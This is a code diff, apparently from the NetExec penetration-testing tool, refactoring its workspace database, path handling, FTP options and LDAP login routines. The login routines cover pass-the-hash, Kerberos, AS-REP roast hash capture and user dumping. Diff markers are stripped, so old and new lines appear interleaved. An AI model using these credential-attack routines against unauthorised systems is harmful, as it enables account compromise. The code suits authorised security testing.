"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
"red",
)
)
ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if not module.multiple_hosts and len(targets) > 1:
ans = input(
highlight(
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
"red",
)
)
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
@@ -223,24 +207,18 @@ def main():
if not args.server_port:
args.server_port = server_port_dict[args.server]
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
# get currently set modules, otherwise default to empty list
current_modules = getattr(protocol_object, "module", [])
current_modules.append(module)
protocol_object.module = current_modules
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
# Add modules paths to the protocol object so it can load them itself
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(
highlight(
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
"red",
)
)
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if args.jitter and len(targets) > 1:
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
try:
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
+51 -87
View File
@@ -1,31 +1,25 @@
import cmd
import configparser
import csv
import sys
import os
import argparse
from os import listdir
from os.path import exists
from os.path import join as path_join
import shutil
from sqlite3 import connect
import sys
from textwrap import dedent
from requests import get, post, ConnectionError
from sqlalchemy import create_engine
from terminaltables import AsciiTable
from termcolor import colored
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
from nxc.paths import CONFIG_PATH, WORKSPACE_DIR
from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace
class UserExitedProto(Exception):
pass
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
def print_table(data, title=None):
print()
table = AsciiTable(data)
@@ -446,29 +440,15 @@ class NXCDBMenu(cmd.Cmd):
def __init__(self, config_path):
cmd.Cmd.__init__(self)
self.config_path = config_path
try:
self.config = configparser.ConfigParser()
self.config.read(self.config_path)
except Exception as e:
print(f"[-] Error reading nxc.conf: {e}")
sys.exit(1)
self.conn = None
self.p_loader = ProtocolLoader()
self.protocols = self.p_loader.get_protocols()
self.workspace = self.config.get("nxc", "workspace")
self.config = open_config(self.config_path)
self.workspace = get_workspace(self.config)
self.db = get_db(self.config)
self.do_workspace(self.workspace)
self.db = self.config.get("nxc", "last_used_db")
if self.db:
self.do_proto(self.db)
def write_configfile(self):
with open(self.config_path, "w") as configfile:
self.config.write(configfile)
def do_proto(self, proto):
if not proto:
return
@@ -479,7 +459,7 @@ class NXCDBMenu(cmd.Cmd):
db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"])
db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
self.config.set("nxc", "last_used_db", proto)
self.write_configfile()
write_configfile(self.config, self.config_path)
try:
proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
proto_menu.cmdloop()
@@ -506,18 +486,18 @@ class NXCDBMenu(cmd.Cmd):
if subcommand == "create":
new_workspace = line.split()[1].strip()
print(f"[*] Creating workspace '{new_workspace}'")
self.create_workspace(new_workspace, self.p_loader, self.protocols)
create_workspace(new_workspace, self.p_loader)
self.do_workspace(new_workspace)
elif subcommand == "list":
print("[*] Enumerating Workspaces")
for workspace in listdir(path_join(WORKSPACE_DIR)):
if workspace == self.workspace:
print("==> " + workspace)
print(f" * {colored(workspace, 'green')}")
else:
print(workspace)
print(f" {workspace}")
elif exists(path_join(WORKSPACE_DIR, line)):
self.config.set("nxc", "workspace", line)
self.write_configfile()
write_configfile(self.config, self.config_path)
self.workspace = line
self.prompt = f"nxcdb ({line}) > "
@@ -538,65 +518,49 @@ class NXCDBMenu(cmd.Cmd):
Exits
"""
print_help(help_string)
@staticmethod
def create_workspace(workspace_name, p_loader, protocols):
os.mkdir(path_join(WORKSPACE_DIR, workspace_name))
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
def initialize_db(logger):
if not exists(path_join(WS_PATH, "default")):
logger.debug("Creating default workspace")
os.mkdir(path_join(WS_PATH, "default"))
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db")
if not exists(proto_db_path):
logger.debug(f"Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
c.execute("PRAGMA foreign_keys = 1")
# set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
c.execute("PRAGMA busy_timeout = 5000")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def main():
if not exists(CONFIG_PATH):
print("[-] Unable to find config file")
sys.exit(1)
parser = argparse.ArgumentParser(
description="NXCDB is a database navigator for NXC",
)
parser.add_argument(
"-gw",
"--get-workspace",
action="store_true",
help="get the current workspace",
)
parser.add_argument(
"-cw",
"--create-workspace",
help="create a new workspace",
)
parser.add_argument(
"-sw",
"--set-workspace",
help="set the current workspace",
)
args = parser.parse_args()
if args.create_workspace:
create_workspace(args.create_workspace)
sys.exit()
if args.set_workspace:
set_workspace(CONFIG_PATH, args.set_workspace)
sys.exit()
if args.get_workspace:
current_workspace = get_workspace(open_config(CONFIG_PATH))
for workspace in listdir(path_join(WORKSPACE_DIR)):
if workspace == current_workspace:
print(f" * {colored(workspace, 'green')}")
else:
print(f" {workspace}")
sys.exit()
try:
nxcdbnav = NXCDBMenu(CONFIG_PATH)
nxcdbnav.cmdloop()
+13
View File
@@ -0,0 +1,13 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def parse_result_attributes(ldap_response):
parsed_response = []
for entry in ldap_response:
# SearchResultReferences may be returned
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
continue
attribute_map = {}
for attribute in entry["attributes"]:
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
parsed_response.append(attribute_map)
return parsed_response
+4 -3
View File
@@ -3,12 +3,13 @@ import sys
import nxc
NXC_PATH = os.path.expanduser("~/.nxc")
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
if os.name == "nt":
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
if hasattr(sys, "getandroidapilevel"):
elif hasattr(sys, "getandroidapilevel"):
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
WS_PATH = os.path.join(NXC_PATH, "workspaces")
else:
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
WORKSPACE_DIR = os.path.join(NXC_PATH, "workspaces")
+1 -1
View File
@@ -74,7 +74,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
+10 -7
View File
@@ -1,9 +1,12 @@
def proto_args(parser, std_parser, module_parser):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
from nxc.helpers.args import DisplayDefaultsNotNone
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
def proto_args(parser, parents):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
return parser
+237 -180
View File
@@ -5,7 +5,7 @@ import hmac
import os
import socket
from binascii import hexlify
from datetime import datetime
from datetime import datetime, timedelta
from re import sub, I
from zipfile import ZipFile
from termcolor import colored
@@ -28,6 +28,7 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.smb import SMB_DIALECT
from impacket.smbconnection import SMBConnection, SessionError
@@ -38,6 +39,7 @@ from nxc.logger import NXCAdapter, nxc_logger
from nxc.protocols.ldap.bloodhound import BloodHound
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.protocols.ldap.kerberos import KerberosAttacks
from nxc.parsers.ldap_results import parse_result_attributes
ldap_error_status = {
"1": "STATUS_NOT_SUPPORTED",
@@ -165,7 +167,7 @@ class ldap(connection):
ldap_url = f"{proto}://{host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
if ldap_connection:
self.logger.debug(f"ldap_connection: {ldap_connection}")
except SysCallError as e:
@@ -212,6 +214,7 @@ class ldap(connection):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.setRemoteHost(self.host)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
@@ -251,11 +254,10 @@ class ldap(connection):
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.hostname = self.target
self.remoteName = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if self.args.no_smb:
self.domain = self.args.domain
else:
if not self.args.no_smb:
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
@@ -266,8 +268,8 @@ class ldap(connection):
if "STATUS_NOT_SUPPORTED" in str(e):
self.no_ntlm = True
if not self.no_ntlm:
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
self.os_arch = self.get_os_arch()
@@ -275,6 +277,11 @@ class ldap(connection):
if not self.domain:
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
@@ -282,40 +289,32 @@ class ldap(connection):
except Exception:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
# Re-connect since we logged off
self.create_conn_obj()
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
self.logger.display(f"Connecting to LDAP {self.hostname}")
self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
self.logger.extra["protocol"] = "LDAP"
return True
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
self.password = password
self.domain = domain
@@ -342,42 +341,29 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
hash_asreproast.write(f"{hash_tgt}\n")
return False
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.kerberosLogin(
username,
password,
domain,
self.lmhash,
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache,
)
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
self.check_if_admin()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -399,7 +385,7 @@ class ldap(connection):
return False
except (KeyError, KerberosException, OSError) as e:
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {e!s}",
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}",
color="red",
)
return False
@@ -408,33 +394,21 @@ class ldap(connection):
# We need to try SSL
try:
# Connect to LDAPS
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.kerberosLogin(
username,
password,
domain,
self.lmhash,
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache,
)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username} {self.mark_pwned()}"
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -442,21 +416,21 @@ class ldap(connection):
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error!s}",
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}",
color="magenta" if error in ldap_error_status else "red",
)
return False
except Exception as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if error_code in ldap_error_status else "red",
)
return False
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error_code!s}",
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}",
color="magenta" if error_code in ldap_error_status else "red",
)
return False
@@ -471,26 +445,24 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
hash_asreproast.write(f"{hash_tgt}\n")
return False
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -500,25 +472,18 @@ class ldap(connection):
# We need to try SSL
try:
# Connect to LDAPS
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -526,18 +491,21 @@ class ldap(connection):
except Exception as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def hash_login(self, domain, username, ntlm_hash):
@@ -566,25 +534,25 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
hash_asreproast.write(f"{hash_tgt}\n")
return False
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -593,25 +561,19 @@ class ldap(connection):
if str(e).find("strongerAuthRequired") >= 0:
try:
# We need to try SSL
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -619,18 +581,21 @@ class ldap(connection):
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def create_smbv1_conn(self):
@@ -695,7 +660,7 @@ class ldap(connection):
attributes = ["objectSid"]
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
if resp and self.password != "" and self.username != "":
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
for attribute in resp[0][1]:
if str(attribute["type"]) == "objectSid":
sid = self.sid_to_str(attribute["vals"][0])
@@ -753,37 +718,54 @@ class ldap(connection):
return False
def users(self):
# Building the search filter
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
attributes = [
"sAMAccountName",
"description",
"badPasswordTime",
"badPwdCount",
"pwdLastSet",
]
"""
Retrieves user information from the LDAP server.
Args:
----
input_attributes (list): Optional. List of attributes to retrieve for each user.
Returns:
-------
None
"""
if len(self.args.users) > 0:
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
else:
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
# default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
resp = self.search(search_filter, attributes, sizeLimit=0)
if resp:
self.logger.display(f"Total of records returned {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
if self.username == "":
self.logger.highlight(f"{item['objectName']}")
else:
for attribute in item["attributes"]:
